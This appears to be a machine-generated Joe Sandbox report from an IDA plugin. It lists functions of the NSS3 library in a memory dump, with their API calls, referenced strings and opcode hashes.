Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: ceae30e3d55ef7d4c7f6e99951a53797b3361e74d1c2ab705b2cc90a9e046a9b
Instruction ID: 4dc32bef1f36e5f112a6f4cbdea721eefcaf6a21fa73bd9b48436f6d002e9912
Opcode Fuzzy Hash: ceae30e3d55ef7d4c7f6e99951a53797b3361e74d1c2ab705b2cc90a9e046a9b
Instruction Fuzzy Hash: 69F0E921F156742BD7005195CC10FC63BA54F02329FD609E1ED04AFE92D24FAD5083E1

Function 6CF24DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF24E4D

Strings

invalid, xrefs: 6CF24E25
API call with %s database connection pointer, xrefs: 6CF24E2A
misuse, xrefs: 6CF24E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24E38
%s at line %d of [%.10s], xrefs: 6CF24E47

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 066283177b0f070976d3184e8464d9f7a6c26a88131c4f0851dcf86f6f3b40f9
Instruction ID: e2b9ff5fed44da21dff4b90de7ec463bd0d2d4c86702a51ad129ac9fb0709570
Opcode Fuzzy Hash: 066283177b0f070976d3184e8464d9f7a6c26a88131c4f0851dcf86f6f3b40f9
Instruction Fuzzy Hash: 67F0A711F46D282BFB1052AA9C10FD73BA58B02329F5945A1EA0C6BE92D74E9D704AD1

Function 6CE59FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE5A086
EnterCriticalSection.KERNEL32(?), ref: 6CE5A09B
PR_Unlock.NSS3(?), ref: 6CE5A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5A0E9
TlsGetValue.KERNEL32 ref: 6CE5A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE5A12F
PR_Unlock.NSS3(?), ref: 6CE5A148

Part of subcall function 6CE71A40: PR_Now.NSS3(?,00000000,6CE528AD,00000000,?,6CE6F09A,00000000,6CE528AD,6CE593B0,?,6CE593B0,6CE528AD,00000000,?,00000000), ref: 6CE71A65

Part of subcall function 6CE71940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE74126,?), ref: 6CE71966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5A1A3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: f7c26eef024d3cddb350ec1328dbfa100d756168eee980cc166da257720c2920
Instruction ID: 08549017055b03e15209a1b7c783e008c2c492f7578a0d6df51f08560a253a07
Opcode Fuzzy Hash: f7c26eef024d3cddb350ec1328dbfa100d756168eee980cc166da257720c2920
Instruction Fuzzy Hash: 40510AB2E402009BEB109F79DD44ABB77B8AF4634CB65442DDC1997B01EB32D856C6B1

Function 6CE90C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?,?,00000000,?,?), ref: 6CE90CB3

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?), ref: 6CE90DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?), ref: 6CE90DEC

Part of subcall function 6CEB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE52AF5,?,?,?,?,?,6CE50A1B,00000000), ref: 6CEB0F1A
Part of subcall function 6CEB0F10: malloc.MOZGLUE(00000001), ref: 6CEB0F30
Part of subcall function 6CEB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEB0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000), ref: 6CE90E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?,?,00000000), ref: 6CE90E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90E79

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,?,6CE70844,?), ref: 6CEA157A
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(?,?,?,6CE70844,?), ref: 6CEA158F
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?,?,?,?,6CE70844,?), ref: 6CEA15B2

Part of subcall function 6CE6B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE71397,00000000,?,6CE6CF93,5B5F5EC0,00000000,?,6CE71397,?), ref: 6CE6B1CB
Part of subcall function 6CE6B1A0: free.MOZGLUE(5B5F5EC0,?,6CE6CF93,5B5F5EC0,00000000,?,6CE71397,?), ref: 6CE6B1D2

Part of subcall function 6CE689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE688AE,-00000008), ref: 6CE68A04
Part of subcall function 6CE689E0: EnterCriticalSection.KERNEL32(?), ref: 6CE68A15
Part of subcall function 6CE689E0: memset.VCRUNTIME140(6CE688AE,00000000,00000132), ref: 6CE68A27
Part of subcall function 6CE689E0: PR_Unlock.NSS3(?), ref: 6CE68A35

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: db24c4d14d4df5aa947cd44bf66934e98c22a7198ad7afe01b5fab6b1a33c0ed
Instruction ID: fa54f02e5d2a86d040ccfd5539514cd54d37216878cfb8ebe88233c7cb784b2b
Opcode Fuzzy Hash: db24c4d14d4df5aa947cd44bf66934e98c22a7198ad7afe01b5fab6b1a33c0ed
Instruction Fuzzy Hash: DA5198B6E002019FEB109F64DC85AAB37B8DF4925CF650468EC1997B12FB31ED15C7A2

Function 6CE46E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE46ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE46EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE46FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE46FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE46FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE47010
sqlite3_value_blob.NSS3(?,?), ref: 6CE4701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE47052

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 89c5170e818e92f6f727752babeaab5437377588b33c00addce051e4a62536c0
Instruction ID: 75fee85f2117d0d921ed3f6ff7c73d787d615bda01d172250ded09f6e65b212f
Opcode Fuzzy Hash: 89c5170e818e92f6f727752babeaab5437377588b33c00addce051e4a62536c0
Instruction Fuzzy Hash: 9F61D5B1E152468FDB00CFA5E8017EEB7B6BF85308F388169D455ABB51E7359C06CB90

Function 6CEB8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEB7313), ref: 6CEB8FBB

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB90F1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB906B

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEB7313), ref: 6CEB9128

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5cc81574cb93c27a0ea14447d1de11ef75f6a625412b6c32d64b84f5fe5818de
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: BC518371A002029FEB109F6ADE84B36B3F9AF5531CF364129D919E7B61E731E805CB91

Function 6CE69C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE68850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE70715), ref: 6CE68859
Part of subcall function 6CE68850: PR_NewLock.NSS3 ref: 6CE68874
Part of subcall function 6CE68850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE6888D

PR_NewLock.NSS3 ref: 6CE69CAD

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

TlsGetValue.KERNEL32 ref: 6CE69CE8
EnterCriticalSection.KERNEL32(?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D01
TlsGetValue.KERNEL32(?,?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D38
EnterCriticalSection.KERNEL32(?,?,6CE6ECEC,6CE72FCD,00000000,?,6CE72FCD,?), ref: 6CE69D4D
PR_Unlock.NSS3 ref: 6CE69D70
PR_Unlock.NSS3 ref: 6CE69DC3
PR_NewLock.NSS3 ref: 6CE69DDD

Part of subcall function 6CE688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE70725,00000000,00000058), ref: 6CE68906
Part of subcall function 6CE688D0: EnterCriticalSection.KERNEL32(?), ref: 6CE6891A
Part of subcall function 6CE688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE6894A
Part of subcall function 6CE688D0: calloc.MOZGLUE(00000001,6CE7072D,00000000,00000000,00000000,?,6CE70725,00000000,00000058), ref: 6CE68959
Part of subcall function 6CE688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE68993
Part of subcall function 6CE688D0: PR_Unlock.NSS3(?), ref: 6CE689AF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 9f8a2ad6b55ffe2903e8878212106cf8715bb6e9ecefea3edd21587b3d5c57df
Instruction ID: 337fa5afe32c18abc0f098b4e38b069c9c53a1e6e92ff7db036bc21dc1a355b8
Opcode Fuzzy Hash: 9f8a2ad6b55ffe2903e8878212106cf8715bb6e9ecefea3edd21587b3d5c57df
Instruction Fuzzy Hash: B2515EB0A647059FDB00EF6AC08466EBBF0BF45359F258529D898DBF11EB30E844CB91

Function 6CF69EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF69EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF69EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69F73
EnterCriticalSection.KERNEL32(?), ref: 6CF69FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF69FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6A01D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f6fe2fce4a63b45fbfcb6e62609b83c77e30eab132b57708d91adbe594be27d7
Instruction ID: f9dd7ccd492b0e0fa61c265153b6636e52ba65a96b4d01f8a5981aaf10af36b6
Opcode Fuzzy Hash: f6fe2fce4a63b45fbfcb6e62609b83c77e30eab132b57708d91adbe594be27d7
Instruction Fuzzy Hash: 4951B0B2804600DFCB10DF26D48068AB7F0FF55329F25856AD8595BF16EB31E985CBD1

Function 6CE5DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE5DCFA

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE5DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE5DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE5DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE5DD8F

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE5DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE5DDB7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 1bd036ef35ffa29cdb3e939141ebdf4a4735f5f14a1cdeb37dfb4b725df6baf4
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 2821BFBAE011159BDF019FA4DD409DEB7B4AF05218F640124ED14A7711F733EA25CBE1

Function 6CEE5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5F72

Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4ED8F
Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4ED9E
Part of subcall function 6CE4ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE4EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FCC
free.MOZGLUE(?,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FF4
free.MOZGLUE(?,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEEAADB,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE6036

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 13af9efd3afed51063bf22afa592fe5329df15570c773489616512f4b90b7aff
Instruction ID: 529bce7a06f251368072e2fa94aab91daf35f4730bda2567e0ffdaa950502a3e
Opcode Fuzzy Hash: 13af9efd3afed51063bf22afa592fe5329df15570c773489616512f4b90b7aff
Instruction Fuzzy Hash: C8210EF1A05B049BEA20DFB5A8097D7B7B8AB4574CF24092CE45AC7740D736E014CB91

Function 6CE53C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEC460B,?,?), ref: 6CE53CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE53CB9
PL_HashTableLookup.NSS3(?), ref: 6CE53CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE53CD6
PR_Unlock.NSS3 ref: 6CE53CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE53CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE53D03
PR_Unlock.NSS3 ref: 6CE53D15

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
